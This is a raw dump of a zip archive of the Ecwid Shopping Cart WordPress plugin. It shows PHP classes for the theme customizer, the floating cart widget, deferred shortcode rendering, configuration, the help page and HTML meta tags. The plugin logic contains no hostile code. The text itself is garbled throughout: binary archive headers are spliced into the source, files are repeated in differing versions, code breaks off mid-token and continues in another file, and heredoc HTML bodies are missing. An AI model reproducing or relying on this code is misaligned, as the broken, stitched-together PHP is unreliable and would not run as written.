  • ', self::TAB_NAME, __('Themes for Ecwid', 'ecwid-shopping-cart') ); if ( isset( $_REQUEST['browse'] ) && $_REQUEST['browse'] == self::TAB_NAME ) { $init_script = sprintf( 'ecwid_switch_theme_tab("%s");', self::TAB_NAME ); } else { $init_script = ''; } $content = <<// a', function(){ ecwid_switch_theme_tab( jQuery(this).data('sort') ); }); %s }); //]]> HTML; echo sprintf( $content, self::TAB_NAME, $tab_content, $link_html, $init_script ); return $tabs; } public function themes_install_ajax() { if( $_REQUEST['request']['browse'] == self::TAB_NAME ) { $themes_data = array( "data" => array( "info" => array( "page" => 1, "pages" => 1, "results" => 0 ), ) ); wp_send_json_success( $themes_data ); } } } $ecwid_custom_admin_page = new Ecwid_Custom_Admin_Page();PKÊ—[. vl7ecwid-shopping-cart/includes/class-ecwid-customizer.phpnu„[µü¤add_panel( $panel, array( 'title' => Ecwid_Config::get_brand(), 'capability' => Ecwid_Admin::get_capability(), 'priority' => 2000 ) ); $wp_customize->add_section( self::SECTION_MINICART, array( 'title' => __( 'Shopping Cart Widget', 'ecwid-shopping-cart' ), 'priority' => 50, 'capability' => Ecwid_Admin::get_capability(), 'panel' => $panel ) ); $wp_customize->add_setting( Ecwid_Floating_Minicart::OPTION_WIDGET_DISPLAY, array( 'type' => 'option', 'transport' => 'postMessage' ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, Ecwid_Floating_Minicart::OPTION_WIDGET_DISPLAY, array( 'type' => 'select', 'label' => __( 'Display shopping cart', 'ecwid-shopping-cart' ), 'section' => self::SECTION_MINICART, 'description' => __( 'Note: when enabled, the cart widget is always displayed in preview to make it easier to customize it. The "Show on store pages" and "Show when empty" options will apply to the cart widget on site when published', 'ecwid-shopping-cart' ), 'settings' => Ecwid_Floating_Minicart::OPTION_WIDGET_DISPLAY, 'choices' => Ecwid_Floating_Minicart::get_display_options() ) ) ); $wp_customize->add_setting( Ecwid_Floating_Minicart::OPTION_SHOW_EMPTY_CART, array( 'type' => 'option', 'transport' => 'postMessage' ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, Ecwid_Floating_Minicart::OPTION_SHOW_EMPTY_CART, array( 'type' => 'checkbox', 'label' => __( 'Show when empty', 'ecwid-shopping-cart' ), 'section' => self::SECTION_MINICART, 'settings' => Ecwid_Floating_Minicart::OPTION_SHOW_EMPTY_CART, ) ) ); $wp_customize->add_setting( Ecwid_Floating_Minicart::OPTION_LAYOUT, array( 'type' => 'option', 'transport' => 'postMessage' ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, Ecwid_Floating_Minicart::OPTION_LAYOUT, array( 'type' => 'select', 'label' => __( 'Layout', 'ecwid-shopping-cart' ), 'section' => self::SECTION_MINICART, 'settings' => Ecwid_Floating_Minicart::OPTION_LAYOUT, 'choices' => Ecwid_Floating_Minicart::get_layouts() ) ) ); $wp_customize->add_setting( Ecwid_Floating_Minicart::OPTION_FIXED_SHAPE, array( 'type' => 'option', 'transport' => 'postMessage' ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, Ecwid_Floating_Minicart::OPTION_FIXED_SHAPE, array( 'type' => 'select', 'label' => __( 'Border', 'ecwid-shopping-cart' ), 'section' => self::SECTION_MINICART, 'settings' => Ecwid_Floating_Minicart::OPTION_FIXED_SHAPE, 'choices' => Ecwid_Floating_Minicart::get_fixed_shapes() ) ) ); $wp_customize->add_setting( Ecwid_Floating_Minicart::OPTION_ICON, array( 'type' => 'option', 'transport' => 'postMessage' ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, Ecwid_Floating_Minicart::OPTION_ICON, array( 'type' => 'select', 'label' => __( 'Icon', 'ecwid-shopping-cart' ), 'section' => self::SECTION_MINICART, 'settings' => Ecwid_Floating_Minicart::OPTION_ICON, 'choices' => Ecwid_Floating_Minicart::get_icons() ) ) ); $wp_customize->add_setting( Ecwid_Floating_Minicart::OPTION_FIXED_POSITION, array( 'type' => 'option', 'transport' => 'postMessage' ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, Ecwid_Floating_Minicart::OPTION_FIXED_POSITION, array( 'type' => 'select', 'label' => __( 'Position', 'ecwid-shopping-cart' ), 'section' => self::SECTION_MINICART, 'settings' => Ecwid_Floating_Minicart::OPTION_FIXED_POSITION, 'choices' => Ecwid_Floating_Minicart::get_fixed_positions() ) ) ); $wp_customize->add_setting( Ecwid_Floating_Minicart::OPTION_HORIZONTAL_INDENT, array( 'type' => 'option', 'transport' => 'postMessage' ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, Ecwid_Floating_Minicart::OPTION_HORIZONTAL_INDENT, array( 'type' => 'number', 'label' => __( 'Horizontal indent', 'ecwid-shopping-cart' ), 'section' => self::SECTION_MINICART, 'settings' => Ecwid_Floating_Minicart::OPTION_HORIZONTAL_INDENT, ) ) ); $wp_customize->add_setting( Ecwid_Floating_Minicart::OPTION_VERTICAL_INDENT, array( 'type' => 'option', 'transport' => 'postMessage' ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, Ecwid_Floating_Minicart::OPTION_VERTICAL_INDENT, array( 'type' => 'number', 'label' => __( 'Vertical indent', 'ecwid-shopping-cart' ), 'section' => self::SECTION_MINICART, 'settings' => Ecwid_Floating_Minicart::OPTION_VERTICAL_INDENT, ) ) ); } public function preview_init() { EcwidPlatform::enqueue_script( 'minicart-customize', array(), true ); } } new Ecwid_Customizer();PKÊ—[îOÇ—>ecwid-shopping-cart/includes/class-ecwid-floating-minicart.phpnu„[µü¤= 0 ) { class Ecwid_Floating_Minicart { const OPTION_WIDGET_DISPLAY = 'ec_show_floating_cart_widget'; const OPTION_FIXED_POSITION = 'ec_store_cart_widget_fixed_position'; const OPTION_ICON = 'ec_store_cart_widget_icon'; const OPTION_FIXED_SHAPE = 'ec_store_cart_widget_fixed_shape'; const OPTION_LAYOUT = 'ec_store_cart_widget_layout'; const OPTION_SHOW_EMPTY_CART = 'ec_store_cart_widget_show_empty_cart'; const OPTION_HORIZONTAL_INDENT = 'ec_store_cart_widget_horizontal_indent'; const OPTION_VERTICAL_INDENT = 'ec_store_cart_widget_vertical_indent'; const DISPLAY_NONE = 'do_not_show'; const DISPLAY_STORE = 'show_on_store_pages'; const DISPLAY_ALL = 'show_on_all_pages'; const CUSTOMIZE_ID = 'ec-customize-cart'; public function __construct() { add_action('wp_footer', array($this, 'display')); } public function display() { if ( post_password_required() ) return; $display = get_option(self::OPTION_WIDGET_DISPLAY, self::DISPLAY_STORE); if (!array_key_exists($display, self::get_display_options())) { $display = self::DISPLAY_NONE; } if ($display == self::DISPLAY_NONE && !is_customize_preview()) { return; } if ($display == self::DISPLAY_STORE && !Ecwid_Store_Page::is_store_page() && !is_customize_preview()) { return; } echo ecwid_get_scriptjs_code(); $position = esc_attr(get_option(self::OPTION_FIXED_POSITION)); $shape = esc_attr(get_option(self::OPTION_FIXED_SHAPE)); $layout = esc_attr(get_option(self::OPTION_LAYOUT)); $show_empty = esc_attr(get_option(self::OPTION_SHOW_EMPTY_CART) ? 'TRUE' : 'FALSE'); $icon = esc_attr(get_option(self::OPTION_ICON)); $hindent = esc_attr(get_option(self::OPTION_HORIZONTAL_INDENT)); $vindent = esc_attr(get_option(self::OPTION_VERTICAL_INDENT)); $customize_id = is_customize_preview() ? 'id="' . self::CUSTOMIZE_ID . '"' : ''; $customize_hide = is_customize_preview() && $display == self::DISPLAY_NONE ? 'style="display:none"' : ''; echo << HTML; } public static function create_default_options() { $options = self::_get_default_options(); if (!ecwid_is_recent_installation()) { $options[self::OPTION_WIDGET_DISPLAY] = self::DISPLAY_NONE; } foreach ($options as $name => $value) { add_option($name, $value); } } protected static function _get_default_options() { return array( self::OPTION_WIDGET_DISPLAY => self::DISPLAY_STORE, self::OPTION_SHOW_EMPTY_CART => true, self::OPTION_LAYOUT => 'MEDIUM_ICON_COUNTER', self::OPTION_FIXED_SHAPE => 'PILL', self::OPTION_FIXED_POSITION => 'BPKÊ—[Ð~¤QQ?ecwid-shopping-cart/includes/class-ecwid-admin-ui-framework.phpnu„[µü¤ICAL_INDENT => '30', ); } public static function get_display_options() { return array( self::DISPLAY_NONE => __('Do not show', 'ecwid-shopping-cart'), self::DISPLAY_STORE => __('Show on store pages', 'ecwid-shopping-cart'), self::DISPLAY_ALL => __('Show on all pages', 'ecwid-shopping-cart') ); } public static function get_layouts() { return array( 'SMALL_ICON' => __('Small icon', 'ecwid-shopping-cart'), 'SMALL_ICON_COUNTER' => __('Small icon and item count', 'ecwid-shopping-cart'), 'COUNTER_ONLY' => __('Item count only', 'ecwid-shopping-cart'), 'TITLE_COUNTER' => __('Label and item count', 'ecwid-shopping-cart'), 'MEDIUM_ICON_COUNTER' => __('Icon and item count', 'ecwid-shopping-cart'), 'MEDIUM_ICON_TITLE_COUNTER' => __('Icon, label and item count', 'ecwid-shopping-cart'), 'BIG_ICON_TITLE_SUBTOTAL' => __('Icon, label, item count and subtotal', 'ecwid-shopping-cart'), 'BIG_ICON_DETAILS_SUBTOTAL' => __('Icon, label, item count, subtotal and link', 'ecwid-shopping-cart') ); } public static function get_icons() { return array( 'BAG' => __('Bag', 'ecwid-shopping-cart'), 'CART' => __('Cart', 'ecwid-shopping-cart'), 'BASKET' => __('Basket', 'ecwid-shopping-cart') ); } public static function get_fixed_shapes() { return array( 'RECT' => __('Rectangle', 'ecwid-shopping-cart'), 'PILL' => __('Pill', 'ecwid-shopping-cart'), '' => __('No border', 'ecwid-shopping-cart') ); } public static function get_fixed_positions() { return array( 'BOTTOM_RIGHT' => __('Bottom right', 'ecwid-shopping-cart'), 'TOP_RIGHT' => __('Top right', 'ecwid-shopping-cart'), 'TOP_LEFT' => __('Top left', 'ecwid-shopping-cart'), 'BOTTOM_LEFT' => __('Bottom left', 'ecwid-shopping-cart') ); } } $minicart = new Ecwid_Floating_MinicarPKÊ—[g÷Ùgˆˆ@ecwid-shopping-cart/includes/class-ecwid-ajax-defer-renderer.phpnu„[µü¤_already_enabled ) { add_filter( 'ecwid_disable_widgets', '__return_true' ); add_filter( 'ecwid_shortcode_custom_renderer', array( $this, 'get_custom_renderer' ) ); add_filter( 'the_content', array( $this, 'add_shortcodes' ) ); $this->_already_enabled = true; } } public function plugin_upgrade() { $old_option = 'ecwid_defer_rendering'; $value = get_option( $old_option , null ); if ( !is_null( $value ) ) { if ( !$value ) { update_option( self::OPTION_DEFER_RENDERING, self::ALWAYS_OFF ); } delete_option( $old_option ); } } public static function is_enabled() { $option_value = get_option( self::OPTION_DEFER_RENDERING ); if ( $option_value == self::AUTO ) { $filter_results = apply_filters( self::FILTER_ENABLED, false ); return $filter_results; } else if ( $option_value == self::ALWAYS_ON ) { return true; } else { return false; } } public function get_custom_renderer() { return array($this, 'render_shortcode'); } public function render_shortcode($shortcode) { if ( $shortcode instanceof Ecwid_Shortcode_Base ) { return $shortcode->render_placeholder() . $this->_render_shortcode_script( $shortcode ); } return ''; } public function add_shortcodes($content) { $ecwid_store_id = get_ecwid_store_id(); $before = << ecwid_shortcodes = []; HTML; $app_ecwid_com = Ecwid_Config::get_scriptjs_domain(); $after = << window.ecwid_script_defer = true; window.ecwid_dynamic_widgets = true; if (typeof Ecwid != 'undefined' && Ecwid.destroy) Ecwid.destroy(); if (typeof ecwid_shortcodes != 'undefined') { window._xnext_initialization_scripts = ecwid_shortcodes; if (!document.getElementById('ecwid-script')) { var script = document.createElement('script'); script.charset = 'utf-8'; script.type = 'text/javascript'; script.src = 'https://$app_ecwid_com/script.js?$ecwid_store_id'; script.id = 'ecwid-script' document.body.appendChild(script); var el = document.getElementById('ecwid-html-catalog-$ecwid_store_id'); if (el) { el.style.display = 'none'; } if ( typeof Ecwid != 'undefined' ) { Ecwid.OnPageLoad.add(function() { var catalog = document.getElementById('ecwid-html-catalog-$ecwid_store_id'); catalog.parentElement.removeChild(catalog); }); } } else { ecwid_onBodyDone(); } } HTML; return $before . $content . $after; } protected function _render_shortcode_script($shortcode) { $args = $shortcode->build_params_string(); $id = $shortcode->get_html_id(); $widgetType = substr($shortcode->get_ecwid_widget_function_name(), 1); if ($widgetType == 'Search') { $widgetType = 'SearchWidget'; } $store_id = get_ecwid_store_id(); $code = << ecwid_shortcodes[ecwid_shortcodes.length] = { widgetType: '$widgetType', id: '$id', arg: [$args] }; HTML; return $code; } } add_action('init', array('Ecwid_Ajax_Defer_Renderer', 'get_instance'), 0);PKÊ—[•x×zéé0ecwid-shopping-cart/includes/class-ecwid-api.phpnu„[µü¤%¢vv3ecwid-shopping-cart/includes/class-ecwid-config.phpnu„[µü¤ 'wl_mode', self::BRAND => 'brand', self::CONTACT_US_URL => 'contact_us_url', self::KB_URL => 'kb_url', self::REGISTRATION_URL => 'registration_url', self::OAUTH_TOKEN_URL => 'oauth_token_url', self::OAUTH_AUTH_URL => 'oauth_authorize_url', ); return $wl_config; } /** * @return array */ protected static function _get_common_config() { $common_config = array( self::OAUTH_APPID => 'oauth_appid', self::OAUTH_APPSECRET => 'oauth_appsecret', self::TOKEN => 'oauth_token', self::STORE_ID => 'store_id', self::CHANNEL_ID => 'channel_id', self::API_DOMAIN => 'api_domain', self::FRONTEND_DOMAIN => 'scriptjs_domain', self::CPANEL_DOMAIN => 'cp_domain', self::DEMO_STORE_ID => 'demo_store_id' ); return $common_config; } /** * @param $values */ protected static function _apply_config( $values ) { $wl_config = self::_get_wl_config(); $common_config = self::_get_common_config(); $empty_is_allowed = array( self::REGISTRATION_URL ); $is_wl_enabled = @$values['wl_mode']; foreach ( $wl_config as $name => $ini_name ) { $value = @$values[ $ini_name ]; if ( $is_wl_enabled && ( $value || in_array( $value, $empty_is_allowed ) ) ) { EcwidPlatform::set( $name, @$values[ $ini_name ] ); } else { EcwidPlatform::reset( $name ); } } if ( isset( $values[ self::TOKEN ] ) && ! isset( $values[ self::STORE_ID ] ) || ! isset( $values[ self::TOKEN ] ) && isset( $values[ self::STORE_ID ] ) ) { unset( $values[ self::TOKEN ] ); unset( $values[ self::STORE_ID ] ); } foreach ( $common_config as $name => $ini_name ) { $value = @$values[ $ini_name ]; if ( $value ) { EcwidPlatform::set( $name, $value ); } else { EcwidPlatform::reset( $name ); } } ecwid_invalidate_cache( true ); } } add_action( 'admin_enqueue_scripts', array( 'Ecwid_Config', 'enqueue_styles' ) );PKÊ—[΢û77>ecwid-shopping-cart/includes/class-ecwid-custom-admin-page.phpnu„[µü¤id == 'plugin-install' ){ add_filter( 'install_plugins_tabs', array( $this, 'plugin_install_init_tab'), 10, 1 ); add_action( 'install_plugins_' . self::TAB_NAME, array( $this, 'plugin_install_render_tab'), 10, 1 ); } if( $current_screen->id == 'theme-install' ){ add_action( 'install_themes_tabs', array( $this, 'themes_install_init_tab') ); add_action( 'wp_ajax_query-themes', array( $this, 'themes_install_ajax'), 1 ); } } public function get_iframe_html( $iframe_src ) { $html = ''; return $html; } public function plugin_install_init_tab( $tabs ) { $tabs[ self::TAB_NAME ] = __('Plugins for Ecwid', 'ecwid-shopping-cart'); return $tabs; } public function plugin_install_render_tab( $paged ) { $iframe_src = ecwid_get_iframe_src( time(), 'appmarket' ); $iframe_src .= '&hide_profile_header=true'; echo <<//

    HTML; echo $this->get_iframe_html( $iframe_src ); } public function themes_install_init_tab( $tabs ) { $iframe_src = ecwid_get_iframe_src( time(), 'apps:view=app&name=templatemonster-themes' ); $iframe_src .= '&hide_profile_header=true'; $tab_content = sprintf( __( 'Ecwid is compatible with any WordPress theme. Be it a free theme from WordPress.org catalog, a premium theme by a third-party vendor or a custom-made theme, your Ecwid store will work good with it. If you want a premium theme, we recommend TemplateMonster themes' , 'ecwid-shopping-cart' ), 'https://www.templatemonster.com/ecwid-ready-wordpress-themes/?aff=Ecwid' ); $tab_content = sprintf( '
    %s
    ', $tab_content ); $link_html = sprintf( '
  • %s
  • ', self::TAB_NAME, __('Themes for Ecwid', 'ecwid-shopping-cart') ); if ( isset( $_REQUEST['browse'] ) && $_REQUEST['browse'] == self::TAB_NAME ) { $init_script = sprintf( 'ecwid_switch_theme_tab("%s");', self::TAB_NAME ); } else { $init_script = ''; } $content = <<// a', function(){ ecwid_switch_theme_tab( jQuery(this).data('sort') ); }); %s }); //]]> HTML; echo sprintf( $content, self::TAB_NAME, $tab_content, $link_html, $init_script ); return $tabs; } public function themes_install_ajax() { if( $_REQUEST['request']['browse'] == self::TAB_NAME ) { $themes_data = array( "data" => array( "info" => array( "page" => 1, "pages" => 1, "results" => 0 ), ) ); wp_send_json_success( $themes_data ); } } } $ecwid_custom_admin_page = new Ecwid_Custom_Admin_Page();PKÊ—[. vl7ecwid-shopping-cart/includes/class-ecwid-customizer.phpnu„[µü¤add_panel( $panel, array( 'title' => Ecwid_Config::get_brand(), 'capability' => Ecwid_Admin::get_capability(), 'priority' => 2000 ) ); $wp_customize->add_section( self::SECTION_MINICART, array( 'title' => __( 'Shopping Cart Widget', 'ecwid-shopping-cart' ), 'priority' => 50, 'capability' => Ecwid_Admin::get_capability(), 'panel' => $panel ) ); $wp_customize->add_setting( Ecwid_Floating_Minicart::OPTION_WIDGET_DISPLAY, array( 'type' => 'option', 'transport' => 'postMessage' ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, Ecwid_Floating_Minicart::OPTION_WIDGET_DISPLAY, array( 'type' => 'select', 'label' => __( 'Display shopping cart', 'ecwid-shopping-cart' ), 'section' => self::SECTION_MINICART, 'description' => __( 'Note: when enabled, the cart widget is always displayed in preview to make it easier to customize it. The "Show on store pages" and "Show when empty" options will apply to the cart widget on site when published', 'ecwid-shopping-cart' ), 'settings' => Ecwid_Floating_Minicart::OPTION_WIDGET_DISPLAY, 'choices' => Ecwid_Floating_Minicart::get_display_options() ) ) ); $wp_customize->add_setting( Ecwid_Floating_Minicart::OPTION_SHOW_EMPTY_CART, array( 'type' => 'option', 'transport' => 'postMessage' ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, Ecwid_Floating_Minicart::OPTION_SHOW_EMPTY_CART, array( 'type' => 'checkbox', 'label' => __( 'Show when empty', 'ecwid-shopping-cart' ), 'section' => self::SECTION_MINICART, 'settings' => Ecwid_Floating_Minicart::OPTION_SHOW_EMPTY_CART, ) ) ); $wp_customize->add_setting( Ecwid_Floating_Minicart::OPTION_LAYOUT, array( 'type' => 'option', 'transport' => 'postMessage' ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, Ecwid_Floating_Minicart::OPTION_LAYOUT, array( 'type' => 'select', 'label' => __( 'Layout', 'ecwid-shopping-cart' ), 'section' => self::SECTION_MINICART, 'settings' => Ecwid_Floating_Minicart::OPTION_LAYOUT, 'choices' => Ecwid_Floating_Minicart::get_layouts() ) ) ); $wp_customize->add_setting( Ecwid_Floating_Minicart::OPTION_FIXED_SHAPE, array( 'type' => 'option', 'transport' => 'postMessage' ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, Ecwid_Floating_Minicart::OPTION_FIXED_SHAPE, array( 'type' => 'select', 'label' => __( 'Border', 'ecwid-shopping-cart' ), 'section' => self::SECTION_MINICART, 'settings' => Ecwid_Floating_Minicart::OPTION_FIXED_SHAPE, 'choices' => Ecwid_Floating_Minicart::get_fixed_shapes() ) ) ); $wp_customize->add_setting( Ecwid_Floating_Minicart::OPTION_ICON, array( 'type' => 'option', 'transport' => 'postMessage' ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, Ecwid_Floating_Minicart::OPTION_ICON, array( 'type' => 'select', 'label' => __( 'Icon', 'ecwid-shopping-cart' ), 'section' => self::SECTION_MINICART, 'settings' => Ecwid_Floating_Minicart::OPTION_ICON, 'choices' => Ecwid_Floating_Minicart::get_icons() ) ) ); $wp_customize->add_setting( Ecwid_Floating_Minicart::OPTION_FIXED_POSITION, array( 'type' => 'option', 'transport' => 'postMessage' ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, Ecwid_Floating_Minicart::OPTION_FIXED_POSITION, array( 'type' => 'select', 'label' => __( 'Position', 'ecwid-shopping-cart' ), 'section' => self::SECTION_MINICART, 'settings' => Ecwid_Floating_Minicart::OPTION_FIXED_POSITION, 'choices' => Ecwid_Floating_Minicart::get_fixed_positions() ) ) ); $wp_customize->add_setting( Ecwid_Floating_Minicart::OPTION_HORIZONTAL_INDENT, array( 'type' => 'option', 'transport' => 'postMessage' ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, Ecwid_Floating_Minicart::OPTION_HORIZONTAL_INDENT, array( 'type' => 'number', 'label' => __( 'Horizontal indent', 'ecwid-shopping-cart' ), 'section' => self::SECTION_MINICART, 'settings' => Ecwid_Floating_Minicart::OPTION_HORIZONTAL_INDENT, ) ) ); $wp_customize->add_setting( Ecwid_Floating_Minicart::OPTION_VERTICAL_INDENT, array( 'type' => 'option', 'transport' => 'postMessage' ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, Ecwid_Floating_Minicart::OPTION_VERTICAL_INDENT, array( 'type' => 'number', 'label' => __( 'Vertical indent', 'ecwid-shopping-cart' ), 'section' => self::SECTION_MINICART, 'settings' => Ecwid_Floating_Minicart::OPTION_VERTICAL_INDENT, ) ) ); } public function preview_init() { EcwidPlatform::enqueue_script( 'minicart-customize', array(), true ); } } new Ecwid_Customizer();PKÊ—[!À–Ëôô>ecwid-shopping-cart/includes/class-ecwid-floating-minicart.phpnu„[µü¤= 0 ) { class Ecwid_Floating_Minicart { const OPTION_WIDGET_DISPLAY = 'ec_show_floating_cart_widget'; const OPTION_FIXED_POSITION = 'ec_store_cart_widget_fixed_position'; const OPTION_ICON = 'ec_store_cart_widget_icon'; const OPTION_FIXED_SHAPE = 'ec_store_cart_widget_fixed_shape'; const OPTION_LAYOUT = 'ec_store_cart_widget_layout'; const OPTION_SHOW_EMPTY_CART = 'ec_store_cart_widget_show_empty_cart'; const OPTION_HORIZONTAL_INDENT = 'ec_store_cart_widget_horizontal_indent'; const OPTION_VERTICAL_INDENT = 'ec_store_cart_widget_vertical_indent'; const DISPLAY_NONE = 'do_not_show'; const DISPLAY_STORE = 'show_on_store_pages'; const DISPLAY_ALL = 'show_on_all_pages'; const CUSTOMIZE_ID = 'ec-customize-cart'; public function __construct() { add_action('wp_footer', array($this, 'display')); } public function display() { if ( post_password_required() ) return; $display = get_option(self::OPTION_WIDGET_DISPLAY, self::DISPLAY_STORE); if (!array_key_exists($display, self::get_display_options())) { $display = self::DISPLAY_NONE; } if ($display == self::DISPLAY_NONE && !is_customize_preview()) { return; } if ($display == self::DISPLAY_STORE && !Ecwid_Store_Page::is_store_page() && !is_customize_preview()) { return; } echo ecwid_get_scriptjs_code(); $position = esc_attr(get_option(self::OPTION_FIXED_POSITION)); $shape = esc_attr(get_option(self::OPTION_FIXED_SHAPE)); $layout = esc_attr(get_option(self::OPTION_LAYOUT)); $show_empty = esc_attr(get_option(self::OPTION_SHOW_EMPTY_CART) ? 'TRUE' : 'FALSE'); $icon = esc_attr(get_option(self::OPTION_ICON)); $hindent = esc_attr(get_option(self::OPTION_HORIZONTAL_INDENT)); $vindent = esc_attr(get_option(self::OPTION_VERTICAL_INDENT)); $customize_id = is_customize_preview() ? 'id="' . self::CUSTOMIZE_ID . '"' : ''; $customize_hide = is_customize_preview() && $display == self::DISPLAY_NONE ? 'style="display:none"' : ''; echo << HTML; } public static function create_default_options() { $options = self::_get_default_options(); if (!ecwid_is_recent_installation()) { $options[self::OPTION_WIDGET_DISPLAY] = self::DISPLAY_NONE; } foreach ($options as $name => $value) { add_option($name, $value); } } protected static function _get_default_options() { return array( self::OPTION_WIDGET_DISPLAY => self::DISPLAY_STORE, self::OPTION_SHOW_EMPTY_CART => true, self::OPTION_LAYOUT => 'MEDIUM_ICON_COUNTER', self::OPTION_FIXED_SHAPE => 'PILL', self::OPTION_FIXED_POSITION => 'BOTTOM_RIGHT', self::OPTION_ICON => 'BAG', self::OPTION_HORIZONTAL_INDENT => '30', self::OPTION_VERTICAL_INDENT => '30', ); } public static function get_display_options() { return array( self::DISPLAY_NONE => __('Do not show', 'ecwid-shopping-cart'), self::DISPLAY_STORE => __('Show on store pages', 'ecwid-shopping-cart'), self::DISPLAY_ALL => __('Show on all pages', 'ecwid-shopping-cart') ); } public static function get_layouts() { return array( 'SMALL_ICON' => __('Small icon', 'ecwid-shopping-cart'), 'SMALL_ICON_COUNTER' => __('Small icon and item count', 'ecwid-shopping-cart'), 'COUNTER_ONLY' => __('Item count only', 'ecwid-shopping-cart'), 'TITLE_COUNTER' => __('Label and item count', 'ecwid-shopping-cart'), 'MEDIUM_ICON_COUNTER' => __('Icon and item count', 'ecwid-shopping-cart'), 'MEDIUM_ICON_TITLE_COUNTER' => __('Icon, label and item count', 'ecwid-shopping-cart'), 'BIG_ICON_TITLE_SUBTOTAL' => __('Icon, label, item count and subtotal', 'ecwid-shopping-cart'), 'BIG_ICON_DETAILS_SUBTOTAL' => __('Icon, label, item count, subtotal and link', 'ecwid-shopping-cart') ); } public static function get_icons() { return array( 'BAG' => __('Bag', 'ecwid-shopping-cart'), 'CART' => __('Cart', 'ecwid-shopping-cart'), 'BASKET' => __('Basket', 'ecwid-shopping-cart') ); } public static function get_fixed_shapes() { return array( 'RECT' => __('Rectangle', 'ecwid-shopping-cart'), 'PILL' => __('Pill', 'ecwid-shopping-cart'), '' => __('No border', 'ecwid-shopping-cart') ); } public static function get_fixed_positions() { return array( 'BOTTOM_RIGHT' => __('Bottom right', 'ecwid-shopping-cart'), 'TOP_RIGHT' => __('Top right', 'ecwid-shopping-cart'), 'TOP_LEFT' => __('Top left', 'ecwid-shopping-cart'), 'BOTTOM_LEFT' => __('Bottom left', 'ecwid-shopping-cart') ); } } $minicart = new Ecwid_Floating_Minicart(); }PKÊ—[^Ñv5¬ ¬ 6ecwid-shopping-cart/includes/class-ecwid-help-page.phpnu„[µü¤user_email; $result = wp_mail( $to, $_POST['subject'], implode(PHP_EOL, $body_lines), 'Reply-To:' . $reply_to ); if ($result) { $nonce = wp_create_nonce( self::CONTACT_US_ACTION_NAME ); echo json_encode( array( 'nonce' => $nonce ) ); wp_die(); } else { header('500 Send mail failed'); die(); } } public function get_faqs() { global $faqs; include 'faq_entries.php'; $max = 8; $guaranteed_3 = null; foreach ( $faqs as $idx => $faq ) { if ( isset( $faq['priority'] ) && $faq['priority'] == 'guaranteed_3' ) { $guaranteed_3 = array(); $guaranteed_3[] = $faq; unset( $faqs[$idx] ); break; } } $result = array(); foreach ( $faqs as $idx => $faq ) { if ( isset($faq['priority']) && $faq['priority'] == 'newbie_with_woo' ) { $installed_within_two_weeks = time() - get_option( 'ecwid_installation_date' ) < 60 * 60 * 24 * 14; if ( ecwid_get_woocommerce_status() && $installed_within_two_weeks ) { $result[] = $faq; unset($faqs[$idx]); } } } $faqs = array_values($faqs); while ( count($result) < $max + ( $guaranteed_3 ? 1 : 0 ) ) { $rand = rand(0, count($faqs) - 1); $result[] = $faqs[$rand]; unset($faqs[$rand]); $faqs = array_values($faqs); } array_splice( $result, 2, 0, $guaranteed_3 ); $faqs = $result; $result = array(); foreach ($faqs as $faq) { $faq['body'] = preg_replace('!_init(); } protected function _init() { add_action( 'wp_head', array( $this, 'wp_head' ), 1 ); add_action( 'wp_head', array( $this, 'wp_head_last') , 1000 ); } abstract public function wp_head(); abstract public function wp_head_last(); public static function maybe_create() { $obj = null; if( !Ecwid_Store_Page::is_store_page() ) { return new Ecwid_HTML_Meta_Other(); } if ( Ecwid_Seo_Links::is_noindex_page() ) { return new Ecwid_HTML_Meta_Noindex(); } else { return new Ecwid_HTML_Meta_Catalog_Entry(); } return $obj; } protected function _is_available_prefetch_tags(){ $ua = @$_SERVER['HTTP_USER_AGENT']; $is_ie = strpos( $ua, 'MSIE' ) !== false || strpos( $ua, 'Trident' ) !== false; if ( $is_ie || ( get_option( 'ecwid_hide_prefetch' ) == 'on' ) ) { return false; } return true; } protected function _get_html_prefetch_control_tags() { $html = ''; $html .= '' . PHP_EOL; $html .= '' . PHP_EOL; $html .= '' . PHP_EOL; $html .= '' . PHP_EOL; $html .= '' . PHP_EOL; $html .= '' . PHP_EOL; return $html; } protected function _print_prefetch() { if( !$this->_is_available_prefetch_tags() ){ return; } echo $this->_get_html_prefetch_control_tags(); $store_id = get_ecwid_store_id(); $params = ecwid_get_scriptjs_params(); echo '' . PHP_EOL; if ( Ecwid_Static_Page::is_enabled_static_home_page() && Ecwid_Static_Page::is_data_available() ) { $css_files = Ecwid_Static_Page::get_css_files(); if( $css_files && is_array( $css_files ) ) { foreach ( $css_files as $item ) { echo sprintf( '', $item ) . PHP_EOL; } } } } // static only while ecwid_trim_description exists and meta functionality is not moved into this class public static function process_raw_description( $description, $length = 0 ) { $description = strip_tags( $description ); $description = html_entity_decode( $description, ENT_NOQUOTES, 'UTF-8' ); $description = preg_replace( '![\p{Z}\s]{1,}!u', ' ', $description ); $description = trim( $description, " \t\xA0\n\r" ); // Space, tab, non-breaking space, newline, carriage return if ( function_exists( 'mb_substr' ) ) { $description = mb_substr( $description, 0, $length ? $length : ECWID_TRIMMED_DESCRIPTION_LENGTH, 'UTF-8' ); } else { $description = substr( $description, 0, $length ? $length : ECWID_TRIMMED_DESCRIPTION_LENGTH ); } $description = htmlspecialchars( $description, ENT_COMPAT, 'UTF-8' ); return $description; } } class Ecwid_HTML_Meta_Catalog_Entry extends Ecwid_HTML_Meta { protected function __construct() { parent::__construct(); } public function wp_head() { $this->_print_description(); $this->_print_prefetch(); $this->_print_og_tags(); $this->_print_canonical(); $this->_print_ajax_crawling_fragment(); } public function wp_head_last() { $this->_print_json_ld(); } protected function _print_description() { $description_html = false; if ( ecwid_is_applicable_escaped_fragment() || Ecwid_Seo_Links::is_product_browser_url() ) { $description_html = Ecwid_Static_Page::get_meta_description_html(); } 